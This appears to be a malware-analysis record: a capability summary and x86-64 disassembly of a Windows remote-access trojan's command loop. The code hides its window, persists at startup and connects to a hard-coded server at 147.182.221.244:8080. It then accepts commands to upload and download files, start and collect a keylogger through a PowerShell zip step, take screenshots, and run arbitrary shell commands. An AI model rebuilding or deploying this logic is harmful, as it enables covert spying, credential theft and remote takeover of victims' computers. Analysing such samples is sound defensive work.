Function at 0x140001f0f
Capabilities:
Act as tcp client
Connect tcp socket
Connect udp socket
Delete file
Execute command
Hide graphical window
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
push rdi
sub rsp, 0xcf8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xc90], rcx
mov qword [rbp + 0xc98], rdx
mov qword [rbp + 0xca0], r8
mov dword [rbp + 0xca8], r9d
call sym.AddToStartup
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov qword [rbp + 0xc68], 0xffffffffffffffff
lea rdx, [rbp + 0x6b0]
mov eax, 0
mov ecx, pe_nt_image_headers64
mov rdi, rdx
rep stosq qword [rdi], rax
lea rdx, [rbp + 0x2b0]
mov eax, 0
mov ecx, pe_nt_image_headers64
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp + 0xac0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x140001fba
mov eax, 1
jmp 0x1400024b3
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0xc68], rax
cmp qword [rbp + 0xc68], 0xffffffffffffffff
jne 0x140002000
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x1400024ae
mov word [rbp + 0xab0], 2
mov ecx, 0x1f90
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0xab2], ax
lea rax, [rbp + 0xab0]
add rax, 4
mov r8, rax
lea rax, str.147.182.221.244
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_inet_pton]
call rax
test eax, eax
jg 0x14000206e
mov rax, qword [rbp + 0xc68]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x1400024ae
lea rdx, [rbp + 0xab0]
mov rax, qword [rbp + 0xc68]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
jns 0x1400020b8
mov rax, qword [rbp + 0xc68]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x1400024ae
lea rax, [rbp + 0x6b0]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x2b0]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sym.memset
lea rdx, [rbp + 0x6b0]
mov rax, qword [rbp + 0xc68]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0xc64], eax
cmp dword [rbp + 0xc64], 0
jle 0x140002489
lea rax, [rbp + 0x6b0]
lea rdx, str.UPLOAD
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140002180
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0xc68]
mov r9d, 0
mov r8d, 0x100
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0xc68]
mov rcx, rax
call sym.receive_file
jmp 0x140002484
lea rax, [rbp + 0x6b0]
lea rdx, str.DOWNLOAD
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400021db
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0xc68]
mov r9d, 0
mov r8d, 0x100
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0xc68]
mov rcx, rax
call sym.send_file
jmp 0x140002484
lea rax, [rbp + 0x6b0]
lea rdx, str.KEYLOG_START
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140002225
call sym.StartKeylogger
mov rax, qword [rbp + 0xc68]
mov r9d, 0
mov r8d, 0x10
lea rdx, str.Keylogger_started
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x140002484
lea rax, [rbp + 0x6b0]
lea rdx, str.KEYLOG_STOP
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000226f
call sym.StopKeylogger
mov rax, qword [rbp + 0xc68]
mov r9d, 0
mov r8d, 0x10
lea rdx, str.Keylogger_stopped
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x140002484
lea rax, [rbp + 0x6b0]
lea rdx, str.KEYLOG_GET
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400022fe
lea rax, [rbp + 0xb0]
lea r9, [0x14000b060]
lea r8, [0x14000b060]
lea rdx, str.powershell_Compress_Archive__Path___s.txt___DestinationPath___skeylog.zip___Force
mov rcx, rax
call sym.sprintf
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.system
lea rax, [rbp - 0x60]
lea r8, [0x14000b060]
lea rdx, str._skeylog.zip
mov rcx, rax
call sym.sprintf
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xc68]
mov rcx, rax
call sym.send_file
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
jmp 0x140002484
lea rax, [rbp + 0x6b0]
lea rdx, str.SCREENSHOT
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000237b
mov ecx, 0
call sub.msvcrt.dll__time64
mov rdx, rax
lea rax, [rbp + 0xb0]
mov r8, rdx
lea rdx, str.screenshot__ld.bmp
mov rcx, rax
call sym.sprintf
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.CaptureScreenshot
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0xc68]
mov rcx, rax
call sym.send_file
lea rax, [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
jmp 0x140002484
lea rax, [rbp + 0x6b0]
lea rdx, str.exit
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x14000248c
lea rax, [rbp + 0x6b0]
lea rdx, [0x140008176]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0xc58], rax
cmp qword [rbp + 0xc58], 0
jne 0x14000241a
lea rax, [rbp + 0x2b0]
movabs rdx, 0x20646e616d6d6f43
movabs rcx, 0x6f69747563657865
mov qword [rax], rdx
mov qword [rax + 8], rcx
movabs rdx, 0x6e6f697475636578
movabs rcx, 0x64656c69616620
mov qword [rax + 9], rdx
mov qword [rax + 0x11], rcx
jmp 0x140002450
lea rdx, [rbp + 0x6b0]
lea rax, [rbp + 0x2b0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0xc58]
lea rax, [rbp + 0x6b0]
mov r8, rdx
mov edx, 0x400
mov rcx, rax
call sym.fgets
test rax, rax
jne 0x140002404
mov rax, qword [rbp + 0xc58]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__pclose]
call rax
lea rax, [rbp + 0x2b0]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp + 0x2b0]
mov rax, qword [rbp + 0xc68]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x1400020b8
nop
jmp 0x14000248d
nop
mov rax, qword [rbp + 0xc68]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140001fba
add rsp, 0xcf8
pop rdi
pop rbp
ret